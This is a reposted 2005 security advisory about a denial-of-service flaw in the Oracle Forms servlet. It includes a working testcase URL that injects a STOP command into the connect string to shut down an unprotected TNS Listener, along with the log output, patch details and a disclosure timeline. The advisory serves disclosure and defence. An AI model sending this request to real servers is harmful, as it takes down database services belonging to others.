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Edit Report

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2005100025

Below is a copy:

Shutdown TNS Listener via Oracle Forms Servlet 
##############################################

Name                Shutdown TNS Listener via  Oracle Forms Servlet
 Systems Affected    Oracle Forms
 Severity            Medium Risk 
 Category            Denial of Service
 Vendor URL          http://www.oracle.com 
 This advisory       http://www.red-database-security.com/advisory/oracle_forms_shutdown.html

Author              Alexander Kornbrust (ak at red-database-security.com) 
 Date                7 October 2005 (V 1.00)

Details
#######
The forms servlet can be used to stop the (unprotected) TNS Listener.

Affected Products
#################
Oracle Forms

Testcase 
#########
http://server:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/[email protected](
DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521
)))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&de
bug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES

Excerpt from the listener.log:

28-OCT-2003 14:44:46 * (CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(CID=(PROGRAM=C:oracleor
adev9ibinifweb90.exe)(HOST=SERVER)(USER=Administrator))) * stop * 0

Affected systems 
#################
All versions of Oracle Forms until CPU July 2005.

Patch Information
#################
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005). Oracle forgot to inform Red-Database-Security that this bug is fixed with CPU July 2005.

Workaround
##########
Protect the TNS Listener with a password.

History
#######
28-oct-2003 Oracle secalert was informed

29-oct-2003 Bug confirmed

12-jul-2005 Oracle published CPU July 2005 without informing Red-Database-Security that this bug is already fixed.

07-oct-2005 Red-Database-Security published this advisory

© 2005 by Red-Database-Security GmbH - last update 7-october-2005

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